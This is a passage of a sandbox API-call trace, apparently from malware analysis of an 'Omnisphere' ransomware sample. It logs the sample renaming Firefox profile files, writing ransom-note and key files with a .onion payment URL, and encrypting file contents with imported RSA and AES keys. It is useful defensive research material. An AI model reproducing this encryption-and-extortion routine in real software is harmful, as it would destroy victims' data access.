(HeapHandle=0x1600000, Flags=0x8, Size=0x370) returned 0x174c168 [0161.764] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\1504782700422.8c4e2942-e5f4-4855-97dc-f61d51d3c336.main.jsonlz4" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\1504782700422.8c4e2942-e5f4-4855-97dc-f61d51d3c336.main.jsonlz4"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\1504782700422.8c4e2942-e5f4-4855-97dc-f61d51d3c336.main.jsonlz4.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\1504782700422.8c4e2942-e5f4-4855-97dc-f61d51d3c336.main.jsonlz4.omnisphere")) returned 1 [0161.765] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\1504782700422.8c4e2942-e5f4-4855-97dc-f61d51d3c336.main.jsonlz4.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\1504782700422.8c4e2942-e5f4-4855-97dc-f61d51d3c336.main.jsonlz4.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\1504782700422.8c4e2942-e5f4-4855-97dc-f61d51d3c336.main.jsonlz4.omnisphere.id" [0161.765] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\1504782700422.8c4e2942-e5f4-4855-97dc-f61d51d3c336.main.jsonlz4.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\1504782700422.8c4e2942-e5f4-4855-97dc-f61d51d3c336.main.jsonlz4.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0161.765] WriteFile (in: hFile=0x394, lpBuffer=0x3e0be84*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0be6c, lpOverlapped=0x0 | out: lpBuffer=0x3e0be84*, lpNumberOfBytesWritten=0x3e0be6c*=0x524, lpOverlapped=0x0) returned 1 [0161.767] CloseHandle (hObject=0x394) returned 1 [0161.767] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0161.767] CloseHandle (hObject=0x398) returned 1 [0161.767] SetEndOfFile (hFile=0x3b4) returned 1 [0161.767] FlushFileBuffers (hFile=0x3b4) returned 1 [0161.773] CloseHandle (hObject=0x3b4) returned 1 [0161.773] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\1504782700422.8c4e2942-e5f4-4855-97dc-f61d51d3c336.main.jsonlz4" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09") returned 1 [0161.773] GetProcessHeap () returned 0x1600000 [0161.773] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x174c7a0 [0161.773] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0161.773] GetProcessHeap () returned 0x1600000 [0161.773] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x1734260 [0161.773] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x1734260, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0161.773] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0161.773] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0161.774] GetProcessHeap () returned 0x1600000 [0161.774] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x1726818 [0161.774] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x1726818, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0161.774] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0161.774] GetProcessHeap () returned 0x1600000 [0161.774] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x110) returned 0x174c4e0 [0161.774] PathCombineW (in: pszDest=0x174c4e0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\!DECRYPT_OMNISPHERE.txt" [0161.774] GetProcessHeap () returned 0x1600000 [0161.774] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x173f380 [0161.774] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0161.774] WriteFile (in: hFile=0x3b4, lpBuffer=0x173f380*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0c404, lpOverlapped=0x0 | out: lpBuffer=0x173f380*, lpNumberOfBytesWritten=0x3e0c404*=0x588, lpOverlapped=0x0) returned 1 [0161.774] CloseHandle (hObject=0x3b4) returned 1 [0161.774] GetProcessHeap () returned 0x1600000 [0161.774] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x174c7a0 | out: hHeap=0x1600000) returned 1 [0161.775] GetProcessHeap () returned 0x1600000 [0161.775] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x106) returned 0x174c7a0 [0161.775] PathCombineW (in: pszDest=0x174c7a0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\unique_decrypt.key" [0161.775] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0161.775] WriteFile (in: hFile=0x3b4, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0c418, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0c418*=0x5a0, lpOverlapped=0x0) returned 1 [0161.775] CloseHandle (hObject=0x3b4) returned 1 [0161.775] GetProcessHeap () returned 0x1600000 [0161.775] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x174c7a0 | out: hHeap=0x1600000) returned 1 [0161.775] GetProcessHeap () returned 0x1600000 [0161.775] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x174bb50 | out: hHeap=0x1600000) returned 1 [0161.775] FindNextFileW (in: hFindFile=0x16396a8, lpFindFileData=0x3e0c6b4 | out: lpFindFileData=0x3e0c6b4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4853f871, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x4853f871, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x48566a5e, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x173b, dwReserved0=0x0, dwReserved1=0xa4, cFileName="1504782787404.28ee5fa8-af9e-4f7d-aa11-b25b15612513.main.jsonlz4", cAlternateFileName="150478~3.JSO")) returned 1 [0161.775] GetProcessHeap () returned 0x1600000 [0161.775] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x160) returned 0x174bb50 [0161.775] PathCombineW (in: pszDest=0x174bb50, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09", pszFile="1504782787404.28ee5fa8-af9e-4f7d-aa11-b25b15612513.main.jsonlz4" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\1504782787404.28ee5fa8-af9e-4f7d-aa11-b25b15612513.main.jsonlz4") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\1504782787404.28ee5fa8-af9e-4f7d-aa11-b25b15612513.main.jsonlz4" [0161.775] StrStrW (lpFirst=".omnisphere", lpSrch=".jsonlz4") returned 0x0 [0161.775] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\1504782787404.28ee5fa8-af9e-4f7d-aa11-b25b15612513.main.jsonlz4" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\1504782787404.28ee5fa8-af9e-4f7d-aa11-b25b15612513.main.jsonlz4"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0161.776] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x3e0c3dc | out: lpFileSize=0x3e0c3dc*=5947) returned 1 [0161.776] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x1217, lpNewFilePointer=0x0, dwMoveMethod=0x3e0c3d0 | out: lpNewFilePointer=0x0) returned 1 [0161.776] ReadFile (in: hFile=0x3b4, lpBuffer=0x3e0be84, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0c3cc, lpOverlapped=0x0 | out: lpBuffer=0x3e0be84*, lpNumberOfBytesRead=0x3e0c3cc*=0x524, lpOverlapped=0x0) returned 1 [0161.778] GetTickCount () returned 0x11682e3 [0161.779] GetTickCount () returned 0x11682e3 [0161.779] GetTickCount () returned 0x11682e3 [0161.779] GetTickCount () returned 0x11682e3 [0161.779] GetTickCount () returned 0x11682e3 [0161.779] GetTickCount () returned 0x11682e3 [0161.779] GetTickCount () returned 0x11682e3 [0161.779] GetTickCount () returned 0x11682e3 [0161.779] GetTickCount () returned 0x11682e3 [0161.779] GetTickCount () returned 0x11682e3 [0161.779] GetTickCount () returned 0x11682e3 [0161.779] GetTickCount () returned 0x11682e3 [0161.779] GetTickCount () returned 0x11682e3 [0161.779] GetTickCount () returned 0x11682e3 [0161.779] GetTickCount () returned 0x11682e3 [0161.779] GetTickCount () returned 0x11682e3 [0161.779] GetTickCount () returned 0x11682e3 [0161.779] GetTickCount () returned 0x11682e3 [0161.779] GetTickCount () returned 0x11682e3 [0161.779] GetTickCount () returned 0x11682e3 [0161.779] GetTickCount () returned 0x11682e3 [0161.779] GetTickCount () returned 0x11682e3 [0161.779] GetTickCount () returned 0x11682e3 [0161.779] GetTickCount () returned 0x11682e3 [0161.779] GetTickCount () returned 0x11682e3 [0161.779] GetTickCount () returned 0x11682e3 [0161.779] GetTickCount () returned 0x11682e3 [0161.779] GetTickCount () returned 0x11682e3 [0161.779] GetTickCount () returned 0x11682e3 [0161.780] GetTickCount () returned 0x11682e3 [0161.780] GetTickCount () returned 0x11682e3 [0161.780] GetTickCount () returned 0x11682e3 [0161.780] CryptAcquireContextW (in: phProv=0x3e0be64, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0be64*=0x16688a0) returned 1 [0161.780] CryptImportKey (in: hProv=0x16688a0, pbData=0x3e0bdcc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0be70 | out: phKey=0x3e0be70*=0x1639568) returned 1 [0161.780] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0c31c*, pdwDataLen=0x3e0be60*=0x75, dwBufLen=0x80 | out: pbData=0x3e0c31c*, pdwDataLen=0x3e0be60*=0x80) returned 1 [0161.780] CryptDestroyKey (hKey=0x1639568) returned 1 [0161.780] CryptReleaseContext (hProv=0x16688a0, dwFlags=0x0) returned 1 [0161.780] CreateFileMappingW (hFile=0x3b4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x173b, lpName=0x0) returned 0x398 [0161.781] MapViewOfFile (hFileMappingObject=0x398, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x173b) returned 0x1480000 [0161.782] CryptAcquireContextW (in: phProv=0x3e0be54, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0be54*=0x1668708) returned 1 [0161.783] CryptImportKey (in: hProv=0x1668708, pbData=0x3e0be0c, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0be64 | out: phKey=0x3e0be64*=0x1639568) returned 1 [0161.783] CryptSetKeyParam (hKey=0x1639568, dwParam=0x4, pbData=0x3e0be48*=0x2, dwFlags=0x0) returned 1 [0161.783] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0be50*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0be50*=0x10) returned 1 [0161.783] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.783] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.783] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.783] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.783] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.783] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.783] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.783] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.783] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.783] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.783] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.783] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.783] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.783] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.783] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.783] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.784] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.784] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.784] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.784] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.784] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.784] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.784] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.784] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.784] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.784] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.784] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.784] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.784] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.784] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.784] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.784] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.784] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.784] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.784] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.784] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.784] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.784] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.785] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.785] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.785] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.785] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.785] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.785] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.785] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.785] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.785] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.785] 